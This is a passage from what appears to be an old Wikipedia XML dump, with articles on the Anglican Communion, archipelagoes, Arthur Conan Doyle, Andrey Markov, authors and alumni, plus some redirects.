*The Reformed Episcopal Church of Spain (Extra-Provincial to the Archbishop of Canterbury)
*Falkland Islands (Extra-Provincial to Canterbury)

==History==

''Main article: see [[History of the Anglican Communion]]''

The Anglican Communion is a relatively recent concept. Ever since the [[Church of England]] (which until the [[20th century]] included the [[Church in Wales]]) broke from [[Roman Catholic Church | Rome]] in the reign of [[Henry VIII of England | Henry VIII]], it has thought of itself not as a new foundation but rather as a reformed continuation of the ancient &quot;English church&quot; and a reassertion of that church's rights. As such it was a distinctly local phenomenon. 

Thus the only members of the present Anglican Communion existing by the late 18th century were the Church of England, its closely-linked sister church, the [[Church of Ireland]] (which also broke from Rome under Henry VIII), and the [[Scottish Episcopal Church]], which for parts of the [[17th century | 17th]] and [[18th century | 18th centuries]] was partially underground (it was suspected of [[Jacobitism|Jacobite]] sympathies).

However, the enormous expansion in the 18th and 19th centuries of the [[British Empire]] brought the church along with it. At first all these colonial churches were under the jurisdiction of the [[Bishop of London]]. After the [[American Revolution]], the parishes in the newly independent country found it necessary to break formally from a church whose earthly head was (and remains) the [[British monarchy | British monarch]]. Thus they formed their own dioceses and national church, the [[Episcopal Church in the United States of America]], in a mostly amicable separation.

At about the same time, in the colonies which remained linked to the crown, the Church of England began to appoint colonial bishops. In 1787 a bishop of [[Nova Scotia]] was appointed with a jurisdiction over all of British North America; in time several more colleagues were appointed to other cities in present-day [[Canada]]. In [[1814]] a bishop of [[Calcutta]] was made; in [[1824]] the first bishop was sent to the [[West Indies]] and in [[1836]] to [[Australia]]. By 1840 there were still only ten colonial bishops for the Church of England; but even this small beginning greatly facilitated the growth of Anglicanism around the world. In [[1841]] a &quot;Colonial Bishoprics Council&quot; was set up and soon many more dioceses were created.

In time, it became natural to group these into provinces, and a [[metropolitan bishop | metropolitan]] appointed for each province. Although it had at first been somewhat established in many colonies, in [[1861]] it was ruled that, except where specifically established, the Church of England had just the same legal position as any other church. Thus a colonial bishop and colonial diocese was by nature quite a different thing from their counterparts back home. In time bishops came to be appointed locally rather than from England, and eventually national synods began to pass ecclesiastical legislation independent of England.

A crucial step in the development of the modern communion was the idea of the [[Lambeth Conferences]]. In [[1867]], at the suggestion of the Canadian [[synod]], the then Archbishop of Canterbury, [[Charles Thomas Langley]], invited a great conference of bishops to meet with him at [[Lambeth Palace]]. By inviting the bishops of the Churches of England and Ireland, those of the semi-autonomous colonial churches, and those of the fully autonomous [[Episcopal Church in the United States of America]], he set a precedent that they all could meet together despite the absence of universal legal ties. Some bishops were initially reluctant to attend, fearing that the meeting would declare itself a council with power to legislate for the church; but it agreed to pass only advisory resolutions. These Lambeth Conferences have been held decennially since 1878 (the second such conference), and remain the most visible coming-together of the whole communion.

==Recent controversies==
Recent disagreements over homosexuality have strained the unity of the communion as well as its relationships with other Christian denominations; see [[Anglican views of homosexuality]].

==Relationship with the Roman Catholic Church==
Efforts have been underway at least since 1966 to effect a reconciliation with the [[Roman Catholic Church]], focusing on theological issues [http://www.vatican.va/roman_curia/pontifical_councils/chrstuni/angl-comm-docs/rc_pc_chrstuni_doc_19660324_paul-vi-ramsey_en.html] and ways &quot;to further the convergence on authority in the Church. Without agreement in this area we shall not reach the full visible unity to which we are both committed.&quot; [http://www.vatican.va/roman_curia/pontifical_councils/chrstuni/angl-comm-docs/rc_pc_chrstuni_doc_19961205_jp-ii-carey_en.html]

==See also==
*[[Thirty-Nine Articles]]
*[[Book of Common Prayer]]
*[[Anglican Use]]
*[[Anglican Communion Network]]
*[[Affirming Catholicism]]
*[[Sydney Anglicans]]

==External links==
*[http://www.anglicancommunion.org/ Official website]
*[http://anglican.org/church/NoCentral.html Decentralised nature of worldwide Anglicanism]
*[http://www.gshep.org/information/vocabulary.htm Comprehensive Anglican vocabulary]
*[http://www.anglican.tk/ the conservative ''Classical Anglican Net News'' website]
*[http://www.anglicansonline.org/ Anglicans Online]
*[http://www.anglicancommunion.org/index.cfm Anglican Communion Official Website]

{{Template:Anglican Churches}}

[[Category:Anglicanism]]
[[Category:Christian group structuring]]

[[de:Anglikanische Kommunion]]
[[fr:Communion anglicane]]
[[he:הכנסייה האנגליקנית]]
[[ja:アングリカン・コミュニオン]]
[[it:Comunione anglicana]]
[[nl:Anglicaanse Kerk]]
[[sh:Anglikanska crkva]]
[[sr:Англиканство]]
[[sv:Anglikanska kyrkogemenskapen]]
[[vi:Anh giáo]]
[[zh:普世聖公宗]]</text>
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  </page>
  <page>
    <title>Arne Kaijser</title>
    <id>910</id>
    <revision>
      <id>37295775</id>
      <timestamp>2006-01-30T01:57:10Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Arne Kaijser''' (born [[1950]]) is a professor of History of Technology at the [[Royal Institute of Technology]] in [[Stockholm]], and the head of the university's department of [[History of science and technology]].

Kaijser has published two books in [[Swedish language|Swedish]]: ''Stadens ljus. Etableringen av de första svenska gasverken'' and ''I fädrens spår. Den svenska infrastrukturens historiska utveckling och framtida utmaningar'', and has co-edited  several anthologies. Kaijser is also a member of the editorial board of two scientific journals: ''[[Journal of Urban Technology]]'' and ''[[Centaurus (journal)|Centaurus]]''. Lately, he has been occupied with the history of [[Large Technical System]]s.

== External links ==
* [http://www.indek.kth.se/indek/medarbetare/index.php?module=pnAddressBook&amp;func=viewDetail&amp;id=85&amp;cat_id=16&amp;prfx=0&amp;lname=Kaijser&amp;fname=Arne&amp;sortname=Kaijser%2C+Arne&amp;title=Professor&amp;company=&amp;sortcompany=&amp;img=arnekaijser.jpg&amp;zip=&amp;city=&amp;address1=&amp;address2=&amp;state=&amp;country=&amp;contact_1=&amp;contact_2=&amp;contact_3=&amp;contact_4=&amp;contact_5=&amp;c_label_1=1&amp;c_label_2=2&amp;c_label_3=3&amp;c_label_4=4&amp;c_label_5=5&amp;c_main=0&amp;note=&amp;user=91&amp;private=0&amp;date=1087393206&amp;formcall=edit&amp;authid=6cf17d59bec57532a03e9ae26c3ee526&amp;catview=0&amp;sortview=0&amp;formsearch=&amp;all=1&amp;menuprivate=0&amp;total=94&amp;page=1&amp;char= Homepage]
*{{sv icon}} [http://www.indek.kth.se/indek/medarbetare/index.php?module=ContentExpress&amp;func=display&amp;ceid=11&amp;bid=21&amp;btitle=Personliga%20sidor&amp;meid=19 Extended homepage]

[[Category:1950 births|Kaijser, Arne]]
[[Category:Living people|Kaijser, Arne]]
[[Category:Swedish scholars|Kaijser, Arne]]</text>
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  <page>
    <title>Archipelago</title>
    <id>911</id>
    <revision>
      <id>41732236</id>
      <timestamp>2006-03-01T10:13:33Z</timestamp>
      <contributor>
        <username>ChongDae</username>
        <id>243919</id>
      </contributor>
      <minor />
      <comment>+ko</comment>
      <text xml:space="preserve">An '''archipelago''' is a [[landform]] which consists of a chain or cluster of [[island|islands]]. Archipelagoes usually occur in the open sea; less commonly a large [[land mass]] may neighbour them. Archipelagoes are often [[volcano|volcanic]], forming along [[ocean ridge]]s or [[Hotspot (geology)|hotspots]], but there are many other processes involved in their construction, including [[erosion]] and [[deposition (geology)|deposition]].

The word comes from the [[Aegean Sea]] ([[Greek language|Greek]] ''&amp;#945;&amp;#961;&amp;#967;&amp;#953;&amp;#960;&amp;#941;&amp;#955;&amp;#945;&amp;#947;&amp;#959;&amp;#962;'', [[Italian language|Italian]] ''Arcipelago''), which  literally means &quot;chief sea&quot;, from [[Greek language|Greek]] ''arkhi'' (leader) and ''pelagos'' ([[sea]]). The Aegean Sea is located between [[Greece]] in the west and [[Turkey]] in the east. In the Aegean, the [[Venice|Venetian]] [[Duchy of the Archipelago|Dukes of the Archipelago]] ruled from [[Naxos, Greece|Naxos]], [[1210]]&amp;ndash;[[1566]].

The [[Archipelago Exchange]] is a fully electronic [[stock exchange]] that agreed to merge with the [[New York Stock Exchange]] in April 2005 to form the for-profit NYSE Group.

==List of archipelagoes==
*[[ABC islands]]
*[[Aegean islands]]
**[[Cyclades]]
**[[Dodecanese]]
*[[Aleutian Islands]]
*[[Alexander Archipelago]]
*[[Andaman Islands]]
*[[Antilles]] (West Indies)
**[[Greater Antilles]]
***[[Islands of Puerto Rico|Puerto Rican Islands]]
**[[Lesser Antilles]]
***[[Leeward Islands]]
***[[Windward Islands]]
*[[Azores]]
*[[Bahama Islands]]
**[[Turks and Caicos Islands]]
*[[Balearic Islands]]
*[[Baltic Sea]] archipelagoes
**[[Stockholm archipelago]]
**[[Archipelago_Sea|Turku archipelago]]
**[[Åland Islands]]
** Bermuda Islands
*[[Bight of Bonny]] islands
*[[British Isles]]
**[[Channel Islands]]
**[[Hebrides]]
**[[Isles of Scilly]]
**[[Orkney Islands]]
**[[Shetland Islands]]
*[[Canadian Arctic islands]]
**[[Belcher Islands]]
**[[Queen Elizabeth Islands]]
*[[Chagos Archipelago]]
*[[Channel Islands of California]]
*[[Chausey]]
*[[Chonos Archipelago]]
*[[Comoro Islands]]
*[[Diego Ramírez Islands]]
*[[Falkland Islands]] (Malvinas)
*[[Faroe Islands]]
*[[Florida Keys]]
*[[Fox Islands]]
*[[Franz Josef Land]]
*[[Frisian Islands]] (or Wadden Islands)
**[[East Frisian Islands]]
**[[North Frisian Islands]]
**[[West Frisian Islands]]
*[[Furneaux Group]]
*[[Galápagos Islands]] (Colón
*[[Gothenburg archipelago]]
*[[Guayaneco Archipelago]]
*[[Japanese Archipelago]]
*[[Juan Fernández Islands]]
*[[Kerguelen Islands]]
*[[Kermadec Islands]]
*[[Kornati]]
*[[Lakshadweep]] (Laccadives)
*[[Lofoten]]
*[[Los Roques]]
*[[Macaronesia]]
**[[Canary Islands]]
**[[Cape Verde Islands]]
***[[Barlavento]]
***[[Sotavento]]
**[[Madeira Islands]]
*[[Magdalen Islands]]
*[[Malay archipelago]] (the world's largest)
**[[Maluku Islands]]
**[[Philippine Islands]]
***[[Luzon#Island_Group_of_Luzon|Luzon Group]]
***[[Mindanao#Island_Group_of_Mindanao|Mindanao Group]]
****[[Sulu Archipelago]]
***[[Visayas]]
**[[Sunda Islands]]
***[[Greater Sunda Islands]]
***[[Lesser Sunda Islands]]
*[[Maldives]]
*[[Maltese islands]]
*[[Mascarene Islands]]
**[[Seychelles Islands]]
***[[Aldabra Group]]
***[[Amirante Islands]]
***[[Farquhar Group]]
*[[Melanesia]]
**[[Bismarck Archipelago]]
**[[Fiji Islands]]
**[[New Caledonia]] (Kanaky)
***[[Loyalty Islands]]
**[[Solomon Islands]]
**[[Vanuatu]] (New Hebrides)
*[[Mergui Archipelago]]
*[[Micronesia]]
**[[Caroline Islands]]
**[[Gilbert Islands]] (Kiribati)
**[[Line Islands]]
**[[Mariana Islands]]
**[[Marshall Islands]]
***[[Ralik Chain]]
***[[Ratak Chain]]
**[[Palau]]
**[[Phoenix Islands]]
*[[New Siberian Islands]]
*[[Nicobar Islands]]
*[[New England]] and [[New York]] islands ([[Manhattan]], [[City Island]], [[Long Island]], [[Rikers Island]], [[Roosevelt Island]], [[Staten Island]], [[Block Island]], [[Nantucket]], [[Martha's Vineyard]], [[Liberty Island]], [[Ellis Island]], [[Governors Island]], [[Long Beach Island]], [[Elizabeth Islands]])
*[[Novaya Zemlya]] islands 
*[[Polynesia]]
**[[Cook Islands]] (Hervey Islands)
**[[French Polynesia]]
***[[Austral Islands]]
***[[Gambier Islands]]
***[[Marquesas]]
***[[Society Islands]]
****[[Windward Islands (Society Islands)|Îles du vent]] (Windward Islands)
****[[Leeward Islands (Society Islands)|Îles sous le vent]] (Leeward Islands)
***[[Tuamotus]]
**[[Hawaiian Islands]] (Sandwich Islands)
**[[Islands of New Zealand|New Zealand]] islands (Aotearoa)
**[[Pitcairn Islands]]
**[[Samoan Islands]] (Navigators' Islands)
***[[American Samoa]] ([[Eastern Samoa]])
***[[Samoa]] ([[Western Samoa]])
**[[Tonga Islands]] (Friendly Islands)
**[[Tokelau]] (Union Islands)
**[[Tuvalu]] (Ellice Islands)
**[[Wallis and Futuna Islands]]
***[[Horne Islands]]
*[[Pontine Islands]]
*[[Queen Charlotte Islands]] (Haida Gwaii)
*[[Saint Helena]] islands
*[[San Juan Islands]]
*[[Severnaya Zemlya]]
*[[Solentiname Islands]]
*[[South China Sea Islands]]
**[[Paracel Islands]]
**[[Spratly Islands]]
*[[South Orkney Islands]]
*[[South Sandwich Islands]]
*[[South Shetland Islands]]
*[[Svalbard]]
*[[Thousand Islands]]
*[[Tierra del Fuego]]
*&quot;[[The World (archipelago)|The World]]&quot;, an archipelago of [[artificial island]]s being constructed off [[Dubai]]
*[[Tuscan Archipelago]]
*[[Venice]] islands
*[[Virgin Islands]]

==See also==
*[[Island arc]]
*[[Geography]]
*[[Earth science]]
*[[Geomorphology]]
*[[Landform|List of landforms]]
*[[Plate tectonics]]

Lists of islands:
*[[List of islands of Antarctica and the Southern Ocean]]
*[[List of islands in the Arctic Ocean]]
*[[List of islands of Asia]]
*[[List of islands in the Atlantic Ocean]]
*[[List of islands of Australia]]
*[[List of islands of Canada]]
*[[List of islands in the Caribbean]]
*[[List of islands in the Indian Ocean]]
*[[List of islands of New Zealand]]
*[[List of islands of North America]]
*[[Pacific Islands|List of islands in the Pacific]]
*[[List of islands of South America]]
*[[List of islands in the United States]]

[[Category:Archipelagoes| ]]

[[an:Archipielago]]
[[ar:أرخبيل]]
[[bg:Архипелаг]]
[[da:Arkipelag]]
[[de:Archipel]]
[[et:Saarestik]]
[[es:Archipiélago]]
[[fr:Archipel]]
[[gl:Arquipélago]]
[[io:Archipelago]]
[[id:Kepulauan]]
[[is:Eyjaklasi]]
[[it:Arcipelago]]
[[ko:군도]]
[[he:ארכיפלג]]
[[nl:Archipel]]
[[ja:列島]]
[[pl:Archipelag]]
[[pt:Arquipélago]]
[[ru:Архипелаг]]
[[fi:Saaristo]]
[[sv:Skärgård]]
[[tl:Kapuluan]]
[[zh:群島]]</text>
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  <page>
    <title>Ann Arbor</title>
    <id>912</id>
    <revision>
      <id>15899425</id>
      <timestamp>2002-05-04T08:54:35Z</timestamp>
      <contributor>
        <ip>64.26.98.90</ip>
      </contributor>
      <comment>*combined material into &amp;quot;Ann Arbor, Michigan&amp;quot; and redirected</comment>
      <text xml:space="preserve">#REDIRECT [[Ann Arbor, Michigan]]

</text>
    </revision>
  </page>
  <page>
    <title>Arthur Conan Doyle</title>
    <id>913</id>
    <revision>
      <id>42026562</id>
      <timestamp>2006-03-03T08:14:18Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ar</comment>
      <text xml:space="preserve">[[Image:Conan doyle.jpg|thumb|right|Sir Arthur Conan Doyle]]
'''Sir Arthur Ignatius Conan Doyle''' ([[May 22]] [[1859]] &amp;ndash; [[July 7]] [[1930]]) was a [[Scotland|Scottish]] author most famously known for his stories about the [[Detective fiction|detective]] [[Sherlock Holmes]], which are generally considered a major innovation in the field of [[crime fiction]]. He was a prolific writer whose other works include [[science fiction]] stories, [[historical novel]]s, plays and romances, poetry, and non-fiction.

Conan was originally a [[middle name]] but he used it as part of his surname in his later years.

==Life==
Arthur Conan Doyle was born in 1859 in [[Edinburgh]] to [[Charles Altamont Doyle|Charles]] and Mary Doyle.  He was sent to the [[Jesuits|Jesuit]] [[preparatory school]] Stonyhurst at the age of nine, and by the time he left the school in [[1875]] he rejected [[Christianity]] to become an [[agnosticism|agnostic]]. From [[1876]] to [[1881]] he studied medicine at the [[University of Edinburgh]], including a period working in the town of [[Aston]] (now a district of [[Birmingham]]). Following his term at University he served as a ship's doctor on a voyage to the West [[Africa]]n coast, and then in [[1882]] he set up a practice in [[Plymouth]]. He achieved his doctorate in 1885. His medical practice was unsuccessful; while waiting for patients he began writing stories. His first literary experience came in ''Chambers's Edinburgh Journal'' before he was 20.

It was only after he subsequently moved his practice to [[Southsea]] that he began to indulge more extensively in literature. His first significant work was ''A Study in Scarlet'' which appeared in ''Beeton's Christmas Annual'' for [[1887]] and featured the first appearance of Sherlock Holmes who was modelled after Doyle's former University professor, [[Joseph Bell]]. Interestingly, [[Rudyard Kipling]] congratulated Doyle on his success, asking &quot;Could this be my old friend, Dr. Joe?&quot;.  While living in Southsea he helped form [[Portsmouth F.C.|Portsmouth Football Club]] and played as the club's first [[goalkeeper]].

In [[1885]] he married Louise Hawkins, who suffered from [[tuberculosis]] and eventually died in [[1906]]. He married Jean Leckie in [[1907]], whom he had first met and fallen in love with in [[1897]] but had maintained a [[Platonic love|platonic relationship]] with her out of loyalty to his first wife. Doyle had five children, two with his first wife (Mary and Kingsley), and three with his second wife ([[Jean Conan Doyle|Jean]], Denis, and [[Adrian Conan Doyle|Adrian]]).

In [[1890]] Doyle studied the eye in [[Vienna]], and in [[1891]] moved to [[London]] to set up a practice as an [[Ophthalmology|oculist]]. This also gave him more time for writing, and in November 1891 he wrote to his mother: &quot;I think of slaying Holmes... and winding him up for good and all. He takes my mind from better things.&quot; In December 1893, he did so in order to dedicate more of his time to more &quot;important&quot; works (namely his historical novels), pitting Holmes against his arch-nemesis [[Professor Moriarty]]. They apparently plunged to their deaths together down a waterfall in the story &quot;The Final Problem&quot;. Public outcry led him to bring the character back&amp;mdash;Doyle returned to the story in &quot;The Adventure of the Empty House&quot;, with the ingenious explanation that only Moriarty had fallen, but, since Holmes had other dangerous enemies, he had arranged to be temporarily &quot;dead&quot; also. Holmes eventually appears in a total of 56 [[short story|short stories]] and four Doyle novels (he has since appeared in many novels and stories by other authors).

Following the [[Second Boer War|Boer War]] in [[South Africa]] at the turn of the 20th century and the condemnation from around the world over Britain's conduct, Doyle wrote a short pamphlet titled ''The War in South Africa: Its Cause and Conduct'' which justified Britain's role in the Boer war and was widely translated. Doyle believed that it was this pamphlet that resulted in his being knighted and appointed as Deputy-Lieutenant of [[Surrey]] in [[1902]]. He also wrote the longer book ''The Great Boer War'' in [[1900]]. During the early years of the 20th century Sir Arthur twice ran for Parliament as a [[Liberal Unionist Party|Liberal Unionist]], once in Edinburgh and once in the Border Burghs, but although he received a respectable vote he was not elected.  
[[Image:conandoylestatue.jpg|thumb|right|Arthur Conan Doyle statue in Crowborough]]Conan Doyle was involved in the campaign for the reform of the [[Congo Free State]], led by the journalist [[E. D. Morel]] and the diplomat [[Roger Casement]]. He wrote [[The Crime of the Congo]] in [[1909]], a long pamphlet in which he denounced the horrors in Congo. He become acquainted with Morel and Casement, taking inspiration from them for two of the main characters of the novel [[The Lost World (Arthur Conan Doyle)|The Lost World]] (1912). He broke with both when Morel (who was rather left-wing) became one of the leaders of the pacifist movement during the [[World War I|First World War]], and Casement committed treason against Britain out of conviction for his [[Ireland|Irish]] nationalist views.  Doyle tried, unsuccessfully, to save Casement from the death penalty, arguing that he had been driven mad and was not responsible for his actions.

Doyle was also a fervent advocate of justice, and personally investigated two closed cases, which led to two imprisoned men being released.  The first case, in 1906, involved a shy half-British, half-Indian lawyer named [[George Edalji]], who had allegedly penned threatening letters and mutilated animals. Police were dead set on Edalji's conviction, even though the mutilations continued even after their suspect was jailed. It was partially as a result of this case that the [[Court of Criminal Appeal]] was established in [[1907]], so not only did Conan Doyle help George Edalji, his work helped to establish a way to correct other [[miscarriages of justice]]. The story of Conan Doyle and Edalji is told in fictional form in [[Julian Barnes]]'s 2005 [[novel]], [[Arthur &amp; George]].

The second case&amp;mdash;that of [[Oscar Slater]], a German Jew and gambling-den operator convicted of bludgeoning an 82-year-old woman in [[Glasgow]] in [[1908]]&amp;mdash;excited Doyle's curiosity because of inconsistencies in the prosecution case and a general sense that Slater was framed. 

In his later years, Doyle became involved with [[Spiritualism]], to the extent that he wrote a [[Professor Challenger]] novel on the subject, ''The Land of Mist''. One of the odder aspects of this period of his life was his book ''The Coming of the Fairies'' ([[1921]]). He was apparently totally convinced of the veracity of the [[Cottingley Fairies|Cottingley fairy]] photographs, which he reproduced in the book, together with theories about the nature and existence of fairies and spirits. His work on this topic was one of the reasons that one of his short story collections, [[The Adventures of Sherlock Holmes]], was banned in the [[Soviet Union]] in [[1929]] for supposed [[occult]]ism. This ban was later removed.

Doyle was friends for a time with the American magician [[Harry Houdini]], a prominent opponent of the Spiritualist movement. Although Houdini insisted that Spiritualist mediums employed trickery (and consistently attempted to expose them as frauds), Doyle became convinced that Houdini himself possessed supernatural powers, a view expressed in Doyle's ''The Edge of the Unknown''.  Houdini was apparently unable to convince Doyle that his feats were simply magic tricks, leading to a bitter, public falling out between the two.

[[Richard Milner]], an [[United States|American]] historian of science, has presented a case that Doyle may have been the perpetrator of the [[Piltdown man]] hoax of [[1912]], creating the counterfeit [[hominid]] [[fossil]] that fooled the scientific world for over 40 years. Milner says that Doyle had a motive, namely revenge on the scientific establishment for debunking one of his favourite psychics, and that ''The Lost World'' contains several encrypted clues regarding his involvement in the hoax. [http://www.arts.telegraph.co.uk/htmlContent.jhtml;jsessionid=JXWTHVY1DHO5NQFIQMGSNAGAVCBQWJVC?html=/archive/1997/03/20/npil20.html]

[[Samuel Rosenberg]]'s [[1974]] book ''[[Naked is the Best Disguise]]'' purports to explain how Doyle left, throughout his writings, open clues that related to hidden and suppressed aspects of his mentality.

Sir Arthur Conan Doyle died of a [[heart attack]] in [[1930]] and is buried in the Church Yard at [[Minstead]] in the [[New Forest]], [[Hampshire]], [[England]].

A statue has been erected in Sir Arthur Conan Doyle's honour. It may be seen at Crowborough Cross in [[Crowborough]], [[East Sussex]], [[England]], where Sir Arthur lived for 23 years. There is also a statue of [[Sherlock Holmes|Sherlock Holmes]] in Picardy Place, [[Edinburgh]], [[Scotland]] - close to the house where Conan Doyle was born.



==Selected bibliography==
===[[Sherlock Holmes]] Stories===
*[[A Study in Scarlet]] (1887)
*[[The Sign of Four]] (1890)
*[[The Adventures of Sherlock Holmes]] (1892)
*[[The Memoirs of Sherlock Holmes]] (1894)
*[[The Hound of the Baskervilles]] (1902)
*[[The Return of Sherlock Holmes]] (1904)
*[[The Valley of Fear]] (1914)
*[[His Last Bow]] (1917)
*[[The Case Book of Sherlock Holmes]] (1927)

===[[Professor Challenger]] Stories===
*[[The Lost World (Arthur Conan Doyle)|The Lost World]] (1912)
*[[The Poison Belt]] (1913)
*[[The Land of Mists]] (1926)
*[[The Disintegration Machine]] (1927)
*[[When the World Screamed]] (1928)

===Historical novels===
*[[The White Company]] (1891)
*[[Micah Clarke]] (1888)
*[[The Great Shadow]] (1892)
*[[The Refugees]] (publ. 1893, written 1892)
*[[Uncle Bernac]] (1897)
*[[Sir Nigel]] (1906)

===Other works===
*[[J. Habakuk Jephson's Statement]] (1883), a story about the fate of the ship [[Mary Celeste]]
*[[Mystery of Cloomber]] (1889)
*[[The Captain of the Polestar, and other tales]] (1890)
*[[The Doings Of Raffles Haw]] (1891)
*[[Beyond the City]] (1892)
*[[Round The Red Lamp]] (1894)
*[[The Parasite]] (1894)
*[[The Stark Munro Letters]] (1895)
*[[Rodney Stone]] (1896)
*[[Songs of Action]] (1898)
*[[The Tragedy of The Korosko]] (1898)
*[[A Duet]] (1899)
*[[The Great Boer War]] (1900)
*[[The Exploits of Brigadier Gerard ]] (1903)
*[[Through the Magic Door]] (1907)
*[[The Crime of the Congo]] (1909)
*[[The New Revelation]] (1918)
*[[The Vital Message]] (1919)
*[[Tales of Terror &amp; Mystery]] (1923)
*[[The History of Spiritualism]] (1926)

==See also==
*[[Toronto Public Library]]
*[[William Gillette]] Personal friend. Performed the most famous stage-version of ''Sherlock Holmes''.

==External links==
{{wikiquote}}
{{wikisource}}
* {{gutenberg author|id=Arthur_Conan_Doyle|name=Arthur Conan Doyle}}
*[http://www.sherlockholmesonline.org Official site of Doyle's estate] - includes lengthy biography, history of the estate, bibliography, and more.
*[http://www.bakerstreet221b.de/canon/ The Complete Sherlock Holmes]
*[http://www.classic-literature.co.uk/scottish-authors/arthur-conan-doyle/ Sir Arthur Conan Doyle] - The majority of his works in easy to read HTML format.
*[http://etext.library.adelaide.edu.au/aut/doyle_arthur_conan.html Works available online]
*[http://www.birmingham.gov.uk/doyle Doyle in Birmingham]
*[http://quotesandpoem.com/literature/ListofLiteraryWorks/Doyle__Sir_Arthur_Conan Searchable Works and Quotes of Arthur Conan Doyle] 
*[http://www.siracd.com/ The Chronicles of Sir Arthur Conan Doyle] - Site includes articles, quotes, games and little-known facts
*[http://www.theplebeian.net/ Conan Doyle and the Parson's Son -The George Edalji case]
*[http://www.birmingham.gov.uk/edalji The George Edalji Case]
*[http://www.crimefiction.com/slater.htm The Oscar Slater Case]
*[http://www.visitdunkeld.com/barnbougle-castle.htm The true legend of the Hound of the Baskervilles; see 'Sir Roger de Mowbray']

[[Category:1859 births|Doyle, Arthur Conan]]
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  <page>
    <title>Author</title>
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      <comment>fixing concept, hopefuly</comment>
      <text xml:space="preserve">{{otheruses}}

An '''author''' is the person who creates a written work, such as a [[book]], story, article or the like. This can be short or long, fiction or nonfiction, [[poetry]] or prose, technical or [[literature]]. Since [[capitalism]], the '''author''' also needs to do it for [[payment]] (as a [[service]]).

==Role in critical theory==

One key issue in [[literary theory]] is the relationship between the meaning of a literary [[text]] and its author's conscious intent.

* The phrase &quot;[[death of the author|Death of the Author]]&quot; was popularized by [[Roland Barthes]] in his [[1968]] essay with the same name. It is used to convey the idea that [[Text|texts]] have meaning and an independent existence outside that intended by the author, depending on the context and reader.

* The death of the author is in self-conscious opposition to the [[New Criticism]], a literary critical movement popular in England and America in the first half of the 20th century. According to this movement, the author's intent is assumed to be quite clear to the author and it becomes the critic's task to understand this intent.

==See also==

* [[Novel|novelist]]
* [[writer]]
* [[Lists of authors]]
* [[Lists of poets]]
* [[List of novelists]]

[[Category:Media occupations]]
[[Category:Literary criticism]]

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[[zh:&amp;#20316;&amp;#23478;]]</text>
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    <title>Andrey Markov</title>
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      <text xml:space="preserve">:''This is an article about Russian mathematician Andrey Markov. For [[ice hockey]] player Andrei Markov, see [[Andrei Markov (hockey player)]].''
'''Andrey Andreyevich Markov''' (Андрей Андреевич Марков) ([[June 14]], [[1856]] [[N.S.]] - [[July 20]], [[1922]]) was a [[Russia|Russian]] [[mathematician]].

Markov was born in [[Ryazan]]. He studied at [[Saint Petersburg State University|St. Petersburg University]] in [[1874]] under the tutelage of [[Pafnuty Chebyshev|Chebyshev]]. In [[1886]], he became a member of the [[Russian Academy of Sciences|St. Petersburg Academy of Science]]. He is best known for his work on theory of [[stochastic process]]es. His research later became known as [[Markov chain]]s.  

==See also==
* [[Markov chain]]
* [[Gauss-Markov theorem]]
* [[Hidden Markov model]]
* [[Markov number]]
* [[Markov property]]
* [[Markov's inequality]]

== References ==
* А. А. Марков. &quot;Распространение закона больших чисел на величины, зависящие друг от друга&quot;. &quot;Известия Физико-математического общества при Казанском университете&quot;, 2-я серия, том 15, ст. 135-156, 1906. 
* A.A. Markov. &quot;Extension of the limit theorems of probability theory to a sum of variables connected in a chain&quot;. reprinted in Appendix B of: R. Howard. ''Dynamic Probabilistic Systems, volume 1: Markov Chains''. John Wiley and Sons, 1971.

== External links ==
* {{MacTutor Biography|id=Markov}}
* [http://mac03-204ha.math.ncsu.edu/~langville/naoumov.pdf The Life and Work of AA Markov]
* [http://logic.pdmi.ras.ru/Markov/ Andrey Andreevich Markov (1903-1979)] ''(biography of Markov's son, located at the Steklov Institute of Mathematics at St.Petersburg)''

&lt;br&gt;{{mathbiostub}}

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[[zh:安德雷·马尔可夫]]</text>
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      <text xml:space="preserve">#redirect [[Anders Jonas Ångström]]</text>
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      <text xml:space="preserve">#REDIRECT [[Anti-Semitism]]</text>
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  <page>
    <title>Alumnus/a</title>
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      <comment>Alumnus status is a RELATIONSHIP between the person and the school.</comment>
      <text xml:space="preserve">&lt;!-- So far we have a dictionary definition and a discussion of the correct use of the term --&gt;
An '''alumnus''' (masculine) or '''alumna''' (feminine) of a [[colleges and universities|college, university]], or school is a former student.  Informal equivalents are '''alum''' and '''alumn''' (with a silent &quot;n&quot;).  The term is often mistakenly thought of as synonymous with &quot;graduate.&quot; Alumni/ae [[reunion]]s are popular events at many institutions. They are usually organized by [[alumni association]]s and are often social occasions for [[fundraising]].

In [[Latin]], ''alumnus'' is the masculine singular form and ''alumna'' the feminine singular form. (The words are derived from the Latin verb ''alere'', &quot;to nourish,&quot; and literally mean &quot;nourished one&quot; or &quot;nursling.&quot;) Although these terms are recommended by leading [[English language|English-language]] [[dictionary|dictionaries]], their use can be limited because they are [[non-sexist language|gender-specific]]. The Latin plural is '''alumni''' for men and mixed groups and '''alumnae''' for women. The gender-neutral English term ''alum''/''alumn'', created by [[clipping#Linguistics|clipping]] the ending from ''alumnus'', is also used, along with its plural '''alums'''/'''alumns'''.

Recently, the definition of &quot;alum&quot; has expanded to include people who have &quot;[[matriculation|matriculated]] at&quot; or exited from any kind of organization or process. As such, one can potentially be a &quot;corporate alum&quot; of XYZ Company, or an alum of a military branch, [[non-profit organization]], or training process.  

Educational institutions tend to follow Latin usage: ''alumnus'' for males, ''alumna'' for females, and ''alumni'' for mixed groups. All-women colleges use ''alumna'' and ''alumnae''. Some institutions, such as [[Texas A&amp;M University]], do not refer to their graduates as &quot;alumni&quot; or even &quot;graduates,&quot; choosing to use the term ''former students''.

In the [[United Kingdom]] and, to a lesser extent, [[Australia]], the phrases '''old boy''' and '''old girl''' are traditionally used for former school pupils, and '''old member''' for former university students. Some private schools in [[Canada]], such as [[Upper Canada College]] and the [[Bishop Strachan School]] also use '''old boy''' and '''old girl'''. The term '''old student''' can nowadays refer to the graduates of either schools or universities. In Scotland, the term ''Former Pupil'' (FP) is also used, especially when referring to sports teams of a school.  

==See also==
* [[Alma mater]]
* [[Old boy network]]
* [[Alumni association]]

[[Category:Academia]]
[[Category:People by educational institution| ]]

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    <title>Angst</title>
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      <text xml:space="preserve">{{otheruses}}
{{emotion}}
